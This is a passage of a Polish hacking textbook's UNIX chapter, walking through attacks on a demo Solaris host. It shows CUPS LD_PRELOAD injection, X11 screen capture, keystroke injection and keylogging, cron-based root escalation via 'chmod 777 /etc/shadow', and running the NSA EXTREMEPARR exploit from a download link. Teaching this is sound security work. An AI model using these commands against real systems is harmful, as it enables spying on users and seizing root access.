dlatego przygotowano w niej program o nazwie Ewok, który umożliwiał wypisywanie procesów
działających na sprawdzanym hoście oraz przejmowanie informacji z pamięci podręcznej ARP tego
hosta. Ewok pracuje nieco lepiej niż typowe narzędzia do sondowania usług SNMP i nie wynika to
wyłącznie z faktu, że nadano mu nazwę z Gwiezdnych wojen. Sam program w postaci pliku binar-
nego możesz pobrać z adresu www.hackerhousebook.com/files/ewok. W swoim systemie musisz
jeszcze zmienić uprawnienia do tego pliku i przypisać mu możliwość wykonywania za pomocą po-
lecenia chmod +x ewok. Pamiętaj, że do skutecznego zbierania informacji z hosta musisz znać uży-
waną w nim nazwę ogólną. Aby skorzystać z programu Ewok, wpisz poniższe polecenie:
./ewok -a <AdresIP> <NazwaOgólna>

Pamiętaj, że możesz też przeskanować pojedynczy port za pomocą programu Nmap. Aby prze-
prowadzić podstawowy skan dla protokołu SNMP, użyj polecenia nmap -p 161 -sU <AdresIP>,
które uruchomi skanowanie portu UDP 161.

System drukowania CUPS

System drukowania CUPS (Common UNIX Printing System) jest serwisem, który znajdziesz w nie-
mal każdym nowoczesnym systemie linuksowym i uniksowym, a także w komputerach z systemem
macOS. Jego zadaniem jest udostępnianie drukarek w sieci i udostępnia też interfejs WWW, za
pomocą którego można łatwo wykonywać operacje związane z zarządzaniem drukarkami. W sys-
temie CUPS znaleziono już wiele różnych podatności, w tym i podatności umożliwiające wstrzyki-
wanie poleceń, podobne do słynnego Shellshock. Więcej informacji na temat tego systemu znaj-
dziesz na jego oficjalnej stronie WWW: www.cups.org.
Systemy uniksowe znane są (a przynajmniej były) z różnych niedoskonałości pojawiających się
w metodach konfigurowania i używania drukarek. Osoby odpowiedzialne za konfigurowanie dru-
karek w systemach uniksowych musiały poświęcać wiele czasu na to, aby drukarki zaczęły praco-
wać poprawnie. W efekcie nikt nie chciał już dotykać istniejącej konfiguracji, gdy tylko wszystko
zadziałało zgodnie z oczekiwaniami. A to oznacza, że prawdopodobnie nie instalowano aktuali-
zacji, czyli w systemie długo istniały różne podatności. Funkcje bezpieczeństwa wymagają poświę-
cenia im czasu i zachowania cierpliwości, dlatego były spychane na dalszy plan przez większość
działów IT w organizacjach, szczególnie w przypadku, gdy chodziło o konfigurowanie drukarki
sieciowej. W końcu użytkownicy muszą po prostu drukować dokumenty, a kto chciałby zacząć
hakować drukarki?
Jeżeli natkniesz się na hosta z zainstalowanym serwisem CUPS, to z pewnością warto poświęcić
chwilkę, żeby sprawdzić, czy nie pozostawiono go bez włączonych wszystkich opcji zabezpieczają-
cych. Pracownicy biurowi prawdopodobnie nie zdają sobie sprawy z faktu, że drukarki są kompu-
terami, podobnie jak wiele innych urządzeń elektronicznych. Oznacza to, że mają swój procesor,
pamięć i trochę przestrzeni dyskowej. Najlepsze jest jednak to, że takie urządzenia zainstalowane
w środowisku korporacyjnym są też wyposażone w połączenie sieciowe. Droższe drukarki domowe
mają dzisiaj nawet adapter wi-fi albo gniazdo Ethernet (a czasem i oba). Jeżeli interesujesz się

3681988c430c7fe1e8567c4e2f281f7b
3
System drukowania CUPS 349

tematem hakowania drukarek, to warto zajrzeć na stronę www.phenoelit.org/hp. Na tej stronie znaj-
dziesz wiele narzędzi przeznaczonych do manipulowania drukarkami za pomocą języka PJL (Prin-
ter Job Language), który jest obsługiwany przez wiele różnych drukarek i umożliwia przechowywa-
nie na nich plików, a w niektórych przypadkach nawet wykonywanie kodu (na ataki tego typu
szczególnie podatne są drukarki firmy Helwett-Packard).
Teraz przyjrzyjmy się nieco dokładniej pokazanemu na rysunku 10.2 interfejsowi WWW udo-
stępnianemu przez serwis CUPS, który jest domyślnie dostępny na porcie TCP 631. Mamy tu do
czynienia z aplikacją WWW przeznaczoną do zarządzania różnymi drukarkami. Znalezienie ta-
kiego interfejsu nie jest wcale trudne, co może wynikać z faktu, że ludzie nie uważają spraw zwią-
zanych z drukowaniem za coś, co wymaga zabezpieczania. Trzeba jednak pamiętać, że taki interfejs
jest programem działającym na komputerze i jako taki może umożliwiać dostęp do systemu ope-
racyjnego tego komputera.

Rysunek 10.2. Interfejs WWW serwisu CUPS

Na rysunku 10.3 prezentujemy natomiast poddany edycji plik konfiguracyjny drukarki. To do-
skonała okazja, żeby wstrzyknąć własne polecenia! Jeżeli natkniesz się na taką sposobność, spróbuj
dopisać do pliku konfiguracyjnego poniższy wiersz:
SetEnv LD_PRELOAD /ścieżka/do/pliku.so

Ten prosty przykład definiuje zmienną środowiskową, która dołącza kod zapisany na lokalnym
komputerze. Oczywiście, aby mieć możliwość załadowania własnego pliku przez serwis CUPS, naj-
pierw musisz mieć możliwość umieszczenia takiego pliku gdzieś w systemie, na przykład za pomocą
usługi FTP. Wykorzystanie tej luki wygląda podobnie do opisywanej w rozdziale 9. „Pliki i współ-
dzielenie plików” luki SAMBACRY. Wystarczy zatem przesłać na serwer plik .so i zmodyfikować
plik konfiguracyjny tak, żeby wymuszał ładowanie tego pliku. W efekcie wstrzykniemy własny kod
do zdalnego serwera.

3681988c430c7fe1e8567c4e2f281f7b
3
350 Rozdział 10  UNIX

Rysunek 10.3. Edytowanie pliku konfiguracyjnego drukarki

Może się jednak okazać, że edytowanie pliku konfiguracyjnego nie będzie tak łatwo dostępne,
ponieważ przed zapisaniem wprowadzonych zmian trzeba się jeszcze uwierzytelnić. W takiej sytu-
acji dobrze jest wypróbować typowe kombinacje nazw użytkowników i haseł. Pamiętaj też, żeby
odczytać numer wersji serwera CUPS i przeszukać bazy danych programów Searchsploit i Meta-
sploit. Hakerzy lubią się też bawić w wyszukiwanie drukarek udostępnionych w internecie i dru-
kowanie na nich różnych rzeczy, aby zwrócić uwagę użytkowników na istniejące zagrożenie. Takim
działaniem chwalił się na przykład na Twitterze użytkownik HackerGiraffe. Zalecamy zatem, żeby
dokładnie przyjrzeć się istniejącym drukarkom oraz narzędziom phenoelit (www.phenoelit.org),
ponieważ drukarki są bardzo niedocenianym problemem bezpieczeństwa, który można wykorzy-
stać do przechowywania plików i uruchamiania programów. Bardzo często drukarki są całkowicie
niechronione i przez to bardzo łatwe do złamania.

System X Window
System X Window, nazywany też X11 lub po prostu X, to podstawowy framework przeznaczony do
tworzenia graficznych interfejsów użytkownika. Pierwotnie powstał w systemie UNIX, ale dzisiaj
jest standardowym składnikiem wszystkich systemów uniksowych. System X Window jest zbu-
dowany w modelu klient-serwer, którego działanie widzieliśmy już w wielu innych usługach. Ten
model działania wcale nie jest tak oczywisty w tym przypadku. Oznacza to, że system X Window
powstał od początku z myślą o tym, żeby umożliwiać innym hostom w sieci współdzielenie swoich
graficznych interfejsów użytkownika i umożliwiać między nimi interakcję. Gdy korzystasz ze swo-
jej maszyny wirtualnej Kali Linux i uruchamiasz w niej różne programy, na przykład przeglą-
darkę lub okno terminala, to te programy działają w roli klienta i łączą się z działającym lokalnie

3681988c430c7fe1e8567c4e2f281f7b
3
System X Window 351

systemem X Window. Nie trzeba jednak wiele pracy, aby w tym systemie wykorzystać całkowicie
osobne urządzenie, na przykład smartfon, aby połączyć się z serwerem X działającym w maszynie
wirtualnej Kali Linux.
W środowiskach korporacyjnych, gdzie sieć ma umożliwiać użytkownikom dostęp do aplikacji
działających na zdalnych hostach, szczególnie ważne jest poprawne skonfigurowanie mechani-
zmów kontroli dostępu. Często tej konfiguracji brakuje, a to daje pole do popisu dla hakerów. Cza-
sem można się natknąć na poniższy wiersz pochodzący z wyników skanowania programem Nmap,
które przeprowadziliśmy już wcześniej w tym rozdziale:
6000/tcp open X11

Z tego wiersza tekstu wynika, że port TCP 6000 jest otwarty, a jest to domyślny port dla systemu
X Window. (Już tutaj został zidentyfikowany jako X11). Poniżej przedstawiamy skrypt programu
Nmap, który można uruchomić, aby uzyskać dodatkowe informacje na temat tego serwisu X11:
nmap --script=x11-access <AdresIP> -p 6000

Przy odrobinie szczęścia okaże się, że ten serwis pozwala na zdalny dostęp, co potwierdzą po-
niższe wyniki skanowania programem Nmap:
6000/tcp open X11
|_x11-access: X server access is granted

W takiej sytuacji mamy szerokie możliwości działania. Na przykład program xwd, zgodnie z opi-
sem pochodzącym z jego strony podręcznika man, jest „narzędziem do zrzutów okien w systemie
X Window”. Mówiąc prościej, program pozwala na wykonywanie zrzutów ekranu na zdalnym hoście,
w którym system X11 umożliwia nam dostęp. Oto przykładowe polecenie, z którego warto skorzystać:
xwd -root -screen -silent -display <AdresIP>:0 > zrzutekranu.xwd

Wykonany zrzut ekranu zostanie zapisany w pliku zrzutekranu.xwd. Jeżeli chcesz go obejrzeć,
to najpierw musisz przekonwertować go na obsługiwany format graficzny. Można to zrobić na
przykład za pomocą poniższego polecenia:
convert zrzutekranu.xwd zrzutekranu.jpg

Warto też zainstalować w systemie program Feh. Jest to narzędzie przeznaczone do przegląda-
nia obrazów w terminalu. Po wprowadzeniu polecenia feh zrzutekranu.jpg przekonwertowany
wcześniej obraz zostanie wyświetlony na ekranie. (Nie dołączamy go tutaj, ponieważ ten obraz przed-
stawia… cóż, właściwie to nic. Po prostu czarny ekran). Być może udało się nam wykonać zrzut
wygaszacza ekranu albo system był w trybie oszczędzania energii? Na szczęście systemu X11 można
też użyć do wysłania informacji o naciśnięciu klawisza. Za pomocą poniższego polecenia użyjemy
programu Xdotool (apt install xdotool), aby wybudzić zdalny system:
DISPLAY=192.168.48.3:0 xdotool key KP_Enter

Zapis DISPLAY=192.168.48.3:0 znajdujący się na początku polecenia sprawia, że program Xdotool

połączy się ze zdalnym serwerem X, a nie z tym działającym lokalnie. Na rysunku 10.4 można zo-
baczyć zrzut ekranu wykonany za pomocą tego samego polecenia xwd, które pokazaliśmy wcześniej
i po wykonaniu konwersji uzyskanego pliku. Jak widać, teraz pojawia się komunikat, że pulpit zo-
stał zablokowany. (Aktualnie użytkownik helpdesk jest wylogowany). Jeżeli użyjesz tej techniki, aby
wykonać zrzut ekranu maszyny wirtualnej Ubuntu, to na pewno uzyskasz inne wyniki.

3681988c430c7fe1e8567c4e2f281f7b
3
352 Rozdział 10  UNIX

Rysunek 10.4. Zablokowany pulpit systemu Solaris 10

Możesz spróbować odblokować pulpit, wysyłając sygnały o kolejnych klawiszach, aby wprowa-
dzić właściwe hasło. W poniższym poleceniu trzeba zastąpić frazę <Klawisze> poszczególnymi li-
terami składającymi się na hasło, pamiętając o oddzielaniu kolejnych liter spacją. Na przykład
chcąc wypróbować hasło chcewejsc, musisz wpisać je w ten sposób: c h c e w e j s c. Nie chodzi
tu o podanie ciągu znaków, ale o zdefiniowanie kolejnych naciśnięć klawiszy, które zostaną prze-
słane do serwera X. Znajdujący się na końcu zapis KP_Enter ma za zadanie przesłanie klawisza En-
ter, aby przekazać hasło systemowi.
DISPLAY=<AdresIP>:0 xdotool key <Klawisze> KP_Enter

Po zalogowaniu możesz sprawdzić działanie środowiska i pulpitu. Na typowym pulpicie może

być otwartych jednocześnie kilka okien. Możesz zatem użyć programu Xwininfo, aby uzyskać in-
formacje na temat okien otwartych na pulpicie:
xwininfo -tree -root -display <AdresIP>:0

Można też wpływać na to, które okno jest aktualnie wybrane jako aktywne, aby wykonać zrzut
ekranu lub wejść w interakcję z bardziej interesującym nas programem. Można tego dokonać po-
przez wysłanie do systemu właściwej kombinacji klawiszy. Zwykle doskonale sprawdza się wysyła-
nie kombinacji Alt+Tab.
W poniższym przykładzie wyślemy do serwera kombinację klawiszy Alt+Tab, aby zmienić ak-
tywne okno (powinno to być okno terminala). Następnie wprowadzimy polecenie id, a na koniec
naciśniemy klawisz Enter.
DISPLAY=192.168.48.3:0 xdotool key alt+Tab i d KP_Enter

Na rysunku 10.5 przedstawiamy wyniki działania tego polecenia. Jak widać, w oknie terminala
uruchomione zostało polecenie id.
Używając programu Xdotool do wysyłania informacji o naciśnięciach klawiszy, możesz się za-
stanawiać, w jaki sposób można „nacisnąć” określone klawisze, a tych informacji próżno szukać na
stronie podręcznika man dla programu Xdotool. W przypadku nazw niektórych klawiszy używane
są wielkie litery, ale nie dotyczy to wszystkich. W przypadku określonych klawiszy nie ma znacze-
nia wielkość liter. Na przykład klawisz Alt można wprowadzić zarówno jako alt, jak i jako Alt.
Z drugiej strony klawisz tabulacji musi być zapisywany jako Tab, bo słowo tab nie będzie działało.

3681988c430c7fe1e8567c4e2f281f7b
3
System X Window 353

Rysunek 10.5. Polecenie id uruchomione za pomocą programu Xdotool

Jedną z metod wyszukiwania właściwych nazw klawiszy jest użycie programu Xev, który wypisuje
informacje na temat określonych zdarzeń systemu X, takich jak naciśnięcia klawiszy albo kliknięcia
myszy. Użyj zatem polecenia xev -event keyboard, aby uruchomić program z włączonym filtrem
zdarzeń klawiatury. W ten sposób uzyskasz informacje podobne do poniższych:
Outer window is 0x4400001, inner window is 0x4400002

KeymapNotify event, serial 18, synthetic NO, window 0x0,

keys: 101 0 0 0 16 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

KeyRelease event, serial 18, synthetic NO, window 0x4400001,

root 0x3ac, subw 0x0, time 90933275, (-540,113), root:(331,526),
state 0x10, keycode 36 (keysym 0xff0d, Return), same_screen YES,
" XLookupString gives 1 bytes: (0d) "
XFilterEvent returns: False

W tym wydruku wyróżniliśmy najciekawszy element, który wskazuje, że nazwa klawisza z ostat-
niego zdarzenia to Return. Teraz naciśnięcie dowolnego innego klawisza spowoduje wypisanie jego
nazwy. Naciśnięcie klawisza Shift w celu wpisania nawiasu otwierającego spowoduje wypisanie po-
niższych komunikatów (kilka wierszy usunęliśmy, aby poprawić czytelność wydruku):

3681988c430c7fe1e8567c4e2f281f7b
3
354 Rozdział 10  UNIX

KeyPress event, serial 28, synthetic NO, window 0x4400001,

state 0x10, keycode 62 (keysym 0xffe2, Shift_R), same_screen YES,

KeyPress event, serial 28, synthetic NO, window 0x4400001,

state 0x11, keycode 18 (keysym 0x28, parenleft), same_screen YES,

KeyRelease event, serial 28, synthetic NO, window 0x4400001,

state 0x11, keycode 18 (keysym 0x28, parenleft), same_screen YES,

KeyRelease event, serial 28, synthetic NO, window 0x4400001,

state 0x11, keycode 62 (keysym 0xffe2, Shift_R), same_screen YES,

Teraz już wiemy, że aby użyć programu Xdotool do wysłania znaku nawiasu otwierającego,
należy posłużyć się poleceniem xdotool key parenleft. Znacznie bardziej interesujące jest jednak
to, że oprócz wysyłania klawiszy do zdalnego hosta istnieje też możliwość odczytywania informacji
o klawiszach naciskanych przez użytkownika. Tutaj należy użyć programu xspy. Poniższe polecenie
uruchamia mechanizm zbierania danych o naciśnięciach klawiszy na hoście o adresie 192.168.48.3.
Wszystko, co na tym hoście wprowadzi jego użytkownik, zostanie też wyświetlone w naszym
oknie terminala.
DISPLAY=192.168.48.3:0 xspy

W internecie dość często spotyka się niezabezpieczone hosty z systemem X11. Szybkie poszu-
kiwanie za pomocą wyszukiwarki Shodan (www.shodan.io) zawsze powinno zwracać wiele cieka-
wych wyników. Pamiętaj jednak, że w większości krajów uzyskiwanie dostępu i przejmowanie kon-
troli nad takimi systemami jest uznawane za działanie nielegalne. Poza tym komputery podatne na
takie ataki są zwykle już przejęte przez złośliwych hakerów i wykorzystywane do przeprowadzania
ataków na inne komputery. Przeglądając ekrany wyświetlane przez wyszukiwarkę Shodan, często
można zauważyć pozostałości po takich atakach.

Usługa Cron i lokalne pliki

Teraz zaprezentujemy atak wykorzystujący jedno z klasycznych uniksowych narzędzi: Cron. Cron
(nazwa pochodzi od greckiego słowa chronos, które oznacza „czas”) jest narzędziem używanym
w systemach Unix i Linux przez ich administratorów do tworzenia harmonogramów zadań i wy-
konywania poleceń (na przykład wprowadzania aktualizacji) o określonej porze dnia, tygodnia lub
miesiąca. Innymi słowy, Cron jest narzędziem umożliwiającym automatyczne i regularne wykony-
wanie pewnych poleceń. Poszczególne polecenia i zadania przechowywane są w pliku crontab. Każde
zadanie może być też uruchamiane z odmiennymi uprawnieniami użytkownika.
W systemie Solaris 10, którego używamy jako systemu demonstracyjnego, znajduje się spe-
cjalny plik, który umożliwi nam podniesienie naszych uprawnień. Pamiętaj, że możesz w systemie
plików poszukać pliku z ustawionym bitem SUID lub SGID w nadziei, że umożliwi on uruchomie-
nie polecenia z wynikowymi uprawnieniami użytkownika root. Możesz też poszukiwać plików po-
zwalających na zapisywanie przez wszystkich użytkowników, używając do tego na przykład pole-
cenia find / -perm -002 ! -type l 2>/dev/null. Oto część wyników zwróconych przez to
wyszukiwanie uruchomione w naszym hoście z systemem Solaris:

3681988c430c7fe1e8567c4e2f281f7b
3
Usługa Cron i lokalne pliki 355

/var/adm/spellhist
/var/mail
/var/preserve
/var/run/rpc_door
/var/spool/cron/crontabs/root
/var/spool/pkg
/var/spool/samba
/var/spool/uucppublic
/var/tmp
/var/krb5/rcache
/var/dt/tmp
/var/dt/dtpower/schemes
/var/dt/dtpower/_current_scheme
/var/imq/instances
/usr/oasys/tmp/TERRLOG
/dev/fd/0
/etc/hackerhouse/rootrun.sh
/system/contract/process/template
/tmp/.X11-unix
/devices/pseudo/ipf@0:iplookup

Widzisz na tej liście jakieś szczególnie ciekawe pozycje? Jak już wspominaliśmy, tym razem bę-
dziemy wykorzystywać program Cron, a zatem Twoje zainteresowanie powinien wzbudzić wiersz
/var/spool/cron/crontabs/root. Nie twierdzimy, że jest to jedyna metoda wykorzystania lokal-
nego pliku do zwiększenia swoich uprawnień. Nie chcemy też sugerować, że dostęp do takiego
pliku jest czymś bardzo częstym. Chodzi raczej o to, żeby pokazać, w jaki sposób znajomość unik-
sowych narzędzi administracyjnych w połączeniu z odpowiednimi uprawnieniami do plików może
pozwalać na rzeczy, które na pewno zaskoczą niejednego administratora. Za pomocą polecenia
ls -al uzupełnionego o nazwę pliku możesz sprawdzić, czy rzeczywiście ma on uprawnienia, które
są nam tutaj potrzebne. Oto przykład:
ls -al /var/spool/cron/crontabs/root

A oto wynik działania tego polecenia, w którym doskonale widać wszystkie uprawnienia przy-
pisane do pliku:
-rwxrwxrwx 1 root root 520 Feb 21 2017 /var/spool/cron/crontabs/root

Przyjrzyjmy się teraz zawartości tego pliku. W tym przypadku mamy do czynienia z plikiem
crontab, którego właścicielem jest użytkownik root, a mimo to możemy go odczytać, zapisywać do
niego, a nawet spróbować go uruchomić.
$ cat /var/spool/cron/crontabs/root
#ident "@(#)root 1.21 04/03/23 SMI"
#
# The root crontab should be used to perform accounting data collection.
#
#
10 3 * * * /usr/sbin/logadm
15 3 * * 0 /usr/lib/fs/nfs/nfsfind
30 3 * * * [ -x /usr/lib/gss/gsscred_clean ] && /usr/lib/gss/
gsscred_clean
#
# The rtc command is run to adjust the real time clock if and when

3681988c430c7fe1e8567c4e2f281f7b
3
356 Rozdział 10  UNIX

# daylight savings time changes.

#
1 2 * * * [ -x /usr/sbin/rtc ] && /usr/sbin/rtc -c > /dev/null 2>&1
#10 3 * * * /usr/lib/krb5/kprop_script ___slave_kdcs___
* * * * * /etc/hackerhouse/rootrun.sh

Wiersze rozpoczynające się od znaku krzyżyka (#) są komentarzami i dlatego są ignorowane

przez program Cron. Z kolei wiersze o formacie 10 3 * * * /usr/sbin/logadm definiują różne
zadania. Tutaj uruchomiony zostanie program /usr/sbin/logadm, natomiast pięć pól zapisanych
przed jego nazwą wyznacza czas i datę uruchomienia. Pierwsza liczba oznacza minutę (0 – 59),
druga to godzina (0 – 23), a za nimi zapisany jest dzień w miesiącu (1 – 31), miesiąc (1 – 12) oraz
dzień w tygodniu (zazwyczaj zapisywany liczbami od 0 do 6, reprezentującymi dni od niedzieli do
soboty). W tym przykładzie zapis 10 3 * * * /usr/sbin/logadm oznacza, że program zostanie
uruchomiony codziennie 10 minut po godzinie trzeciej w nocy. W ostatnim wierszu pliku znajduje
się informacja, że plik rootrun.sh jest uruchamiany co minutę, ponieważ wszystkie pola przed na-
zwą pliku mają wpisany znak gwiazdki (*). Zauważ, że jeżeli użyty zostałby zapis 1 * * * *,
to program byłby uruchamiany w pierwszej minucie każdej godziny. Szybkie sprawdzenie pliku za
pomocą polecenia ls -al .etc.hackerhouse/rootrun.sh ujawnia, że ma uprawnienia do zapisu,
odczytu i wykonywania przypisane właścicielowi, grupie i pozostałym. Zawartość tego pliku wy-
gląda następująco:
#!/usr/bin/bash
# - root scheduled tasks
# - added by intern
# jpr 10/11/1

Ten plik jest typowym przykładem tego, co w systemie może zrobić niedoświadczony pracow-
nik albo stażysta. W każdym razie ktoś, kogo nie można nazwać „dinozaurem”. Na początku pliku
widoczna jest sekwencja znaków (nazywana shebang), która składa się ze znaku kratki i wykrzyk-
nika (#!) i informuje system operacyjny, że ten plik tekstowy powinien zostać przekazany do in-
terpretera powłoki podanego w tym samym wierszu. W tym przypadku używany jest interpreter
bash znajdujący się w katalogu /usr/bin/bash. Sam plik tekstowy nie może zostać uruchomiony,
mimo że traktujemy go jak plik „wykonywalny”, przypisując mu odpowiednie uprawnienia i trak-
tująco go tak, jakby był plikiem binarnym. W pliku rootrun.sh znajdują się same komentarze, ale
usługa Cron i tak uruchamia go z uprawnieniami użytkownika root, a zatem wszystkie polecenia,
jakie dopiszemy do tego pliku, również zostaną wykonane z tym samym poziomem uprawnień.
Możemy też użyć polecenia echo chmod 777 /etc/shadow >> /etc/hackerhouse/rootrun.sh,
aby dopisać na końcu pliku polecenie chmod 777 /etc/shadow. Czasami takie operacje są prostsze
od próby skorzystania z edytora tekstowego w nieznanym sobie systemie. Mimo to pamiętaj,
że poznanie tajników edytora Vi (prekursora popularnego edytora Vim) zapewni Ci dostęp
do rozbudowanego edytora w niemal każdym systemie. Zwróć uwagę na podwójny znak więk-
szości (>>) użyty w tym poleceniu. Pojedynczy znak większości oznacza „skieruj wyjście tego
polecenia do wskazanego pliku i nadpisz dotychczasową zawartość tego pliku”. Podwójny znak
większości oznacza natomiast „skieruj wyjście tego polecenia do wskazanego pliku i dopisz
dane na jego końcu”.

3681988c430c7fe1e8567c4e2f281f7b
3
Środowisko graficzne CDE 357

Vi to popularny edytor dla systemów uniksowych, którego autorzy uważają go

za lepszy od edytora Emacs (inny szeroko stosowany edytor tekstu). Mimo że sami chętnie
korzystamy z tego edytora, to nie możemy zapominać, że istnieją też inne programy tego
typu, takie jak Ed, Emacs lub Nano. Wielu nowych hakerów i studentów informatyki ma
problemy z użytkowaniem edytora Vi i po pierwszym uruchomieniu nie jest w stanie nawet
zakończyć jego pracy. Vi wymaga wprowadzenia specjalnej sekwencji klawiszy, która daje
dostęp do interfejsu poleceń umożliwiającego skorzystanie z takich akcji jak kopiowanie,
wklejanie, zapisywanie i kończenie pracy programu. Aby zakończyć pracę edytora Vi, trzeba
nacisnąć klawisz Esc, co umożliwi przesyłanie poleceń do edytora. Sam program jasno to
komunikuje, ponieważ przenosi kursor na sam dół ekranu. Teraz można wpisać polecenie
:q!, które zakończy pracę programu, a użyty w nim znak wykrzyknika wymusza przeprowa-
dzenie tej operacji nawet w przypadku, gdy wcześniej wprowadziliśmy niezapisane jeszcze
zmiany do pliku. Oprócz polecenia :q można użyć też innych poleceń, takich jak :y, które
kopiuje aktualny wiersz do schowka, :p, które wkleja zawartość schowka, :w, które zapisuje
plik na dysku, albo :d, które usuwa aktualny wiersz tekstu. Zalecamy lekturę strony pod-
ręcznika man poświęconej edytorowi Vi, aby lepiej poznać rządzące nim zasady i skutecznie
używać go przy pracy z wieloma różnymi systemami.

Po wpisaniu tego nowego polecenia musimy tylko zaczekać, aż usługa Cron uruchomi plik
rootrun.sh, a to dzieje się dokładnie co minutę. O tym, że nasza sztuczka zadziałała, dowiemy się,
sprawdzając, czy plik /etc/shadow otrzymał uprawnienia do zapisywania, odczytywania i wykony-
wania (mimo że nie potrzebujemy tu aż tak szerokich praw) przez dowolnego użytkownika. Jeżeli
mamy już plik shadow z możliwością zapisywania do niego danych, to możemy wpisać do niego
skrót hasła znanego już nam użytkownika w miejsce hasła użytkownika root. Dzięki temu zyskamy
możliwość logowania się jako użytkownik root przy użyciu znanego sobie hasła!
W tym przypadku bardzo ważne jest wcześniejsze wykonanie kopii zapasowej oryginalnego
skrótu hasła użytkownika root. Zastosowane przez nas rozwiązanie nie jest nawet w części tak dys-
kretne jak narzędzia pochodzące z agencji NSA, choć daje nam możliwość podniesienia swoich
uprawnień w zdalnym systemie. To tylko jeden z przykładów możliwości, jakie mamy nawet bez
uprawnień użytkownika root. Możemy korzystać z istniejących już plików i serwisów, stosując roz-
wiązania niebazujące na podatnościach, którym przypisano jakiś numer CVE. Ważne jest, żeby
sprawdzać uprawnienia do plików i używać skryptów, takich jak Unix-privesc-check (tools.kali.org/
vulnerability-analysis/unix-privesc-check), które mogą automatyzować proces wyszukiwania takich
nieścisłości w systemie.

Środowisko graficzne CDE

Środowisko graficzne CDE (Common Desktop Environment) jest klasycznym uniksowym środowi-
skiem graficznego pulpitu, które jest stosowane w wielu komercyjnych systemach, w tym i w sys-
temie Solaris. Środowisko graficzne to po prostu graficzny interfejs systemu operacyjnego, którego
dzisiaj używamy w komputerach z systemem Windows oraz w systemach uniksowych. To zbiór
programów oraz menu uruchamianych kliknięciami albo dotknięciami ikon. Środowiska graficzne
działające w dzisiejszych systemach uniksowych nie zastępują systemu X Window, ponieważ speł-
niają zupełnie inne funkcje. Co więcej, bez systemu X Window nie są w stanie samodzielnie działać.
Oznacza to, że środowisko graficzne jest warstwą oprogramowania umieszczoną ponad systemem X.

3681988c430c7fe1e8567c4e2f281f7b
3
358 Rozdział 10  UNIX

EXTREMEPARR
EXTREMEPARR to nazwa kodowa exploitu przygotowanego przez agencję NSA, który otrzymał
oznaczenie CVE-2017-3622. Podatność została udokumentowana i ujawniona w 2017 roku, choć
istniała już od 1997 roku. Problem ukrywał się w binarnym pliku o nazwie dtappgather, który jest
częścią środowiska CDE. Ten plik mógł uzyskać dostęp do ważnych plików w całym systemie, jeżeli
użyto w nim ataku przejścia przez katalogi. Jak widać, ten rodzaj ataku nie dotyczy wyłącznie ser-
werów i aplikacji WWW. (Sieciowy wariant tego ataku omawialiśmy w rozdziale 7. „Sieć WWW
pełna podatności”).
Początkowo problem został wykryty i usunięty, a następnie opisany na liście mailingowej Bugtraq.
Okazało się jednak, że błąd nie został usunięty całkowicie. Agencja NSA zauważyła, że poprawka
nie jest idealna i nadal istnieje możliwość wykonania ataku przejścia przez katalogi, choć możliwość
przejścia w dół drzewa została ograniczona do jednego poziomu. Nawet z tym ograniczeniem błąd
umożliwiał hakerowi wstrzyknięcie własnych poleceń i uzyskanie uprawnień użytkownika root.
Agencja NSA na tyle dobrze utajniła informacje o tym błędzie, że istniał on w niezmienionej formie
w systemach Solaris w wersjach 7., 8., 9. i 10. (oraz w wersji 11., o ile zainstalowane było środowisko
CDE, co było wykonywane domyślnie w poprzednich wersjach systemu). Umożliwiało to agencji
(oraz hakerom, którzy wiedzieli o istnieniu tego błędu) skuteczne atakowanie hostów z systemem
Solaris, niemalże niezależnie od wprowadzania kolejnych wersji systemu.
EXTREMEPARR to kolejny przykład doskonale zaprojektowanego exploitu, który jest w stanie
uniknąć wykrycia i bardzo stara się ukryć szczegóły działania przeprowadzonego ataku. Można
powiedzieć, że CVE-2017-3622 to naprawdę piękny błąd — jedna niewielka pomyłka w kodzie ist-
niała przez cały czas życia systemu operacyjnego. Co więcej, błąd został całkowicie usunięty do-
piero wtedy, gdy środowisko CDE zostało wycofane z systemu operacyjnego! Plik exploitu można
pobrać z adresu www.hackerhousebook.com/files/exp.tar.Z. Aby go wykorzystać, trzeba najpierw
wprowadzić go do atakowanego systemu i tam uruchomić. Do przesłania pliku można wykorzystać
podatną usługę FTP albo inny serwis do udostępniania plików. Niestety próby użycia programu
Netcat lub języka Python w systemach uniksowych typu Solaris często kończą się niepowodzeniem,
ponieważ te programy zwykle nie są instalowane na takich hostach. Pobrane archiwum trzeba jesz-
cze rozkompresować za pomocą polecenia gzip -d exp.tar.Z, a następnie wypakować poszcze-
gólne pliki poleceniem tar -xvf exp.tar. W efekcie na dysku pojawią się dwa pliki binarne oraz
kilka plików obiektów (.so), takich jak na poniższym wydruku:
-rwxr-xr-x 1 helpdesk other 16908 Feb 12 2008 exp.s
-rwxr-xr-x 1 helpdesk other 15812 Feb 12 2008 exp.x
-rwxr-xr-x 1 helpdesk other 12314 Feb 12 2008 su.so.2.1011s
-rwxr-xr-x 1 helpdesk other 10929 Feb 12 2008 su.so.2.1011x
-r-xr-xr-x 1 helpdesk other 11256 Feb 12 2008 su.so.2.6s
-r-xr-xr-x 1 helpdesk other 19592 Feb 12 2008 su.so.2.6x
-r-xr-xr-x 1 helpdesk other 11756 Feb 12 2008 su.so.2.789s
-r-xr-xr-x 1 helpdesk other 20144 Feb 12 2008 su.so.2.789x

Te dwa pliki binarne to exp.s, który ma działać w systemach z procesorami SPARC, oraz exp.x,
który działa w systemach używających architektury x86. Po uruchomieniu tego exploitu musisz jesz-
cze podać plik obiektowy, właściwy dla wersji atakowanego systemu operacyjnego. W kompute-
rach z procesorami firmy Intel z systemem Solaris 10 należy skorzystać z pliku su.so.2.1011x (ozna-
czenie 1011 dotyczy wersji 10. i 11. systemu Solaris, natomiast litera x oznacza architekturę x86).

3681988c430c7fe1e8567c4e2f281f7b
3
Podsumowanie 359

Po wybraniu odpowiedniego pliku trzeba zmienić jego nazwę na su.so.2 (na przykład polece-
niem mv su.so.2.1011x su.so.2). Po uruchomieniu programu exp.x będzie on poszukiwał pliku
o takiej nazwie. To narzędzie, mimo że powstało w agencji NSA, nie podaje żadnych informacji na
temat właściwych metod używania go. Można się domyślać, że osoba używająca tego exploitu
w agencji musiała najpierw przeczytać odpowiednią dokumentację, aby wiedzieć, jak ma używać
tego programu. Kolejną rzeczą, jaką trzeba zrobić, aby exploit zadziałał prawidłowo, jest wpisanie
na początku polecenia znaków AT=1, co umożliwi programowi wykorzystanie serwisu at (to część
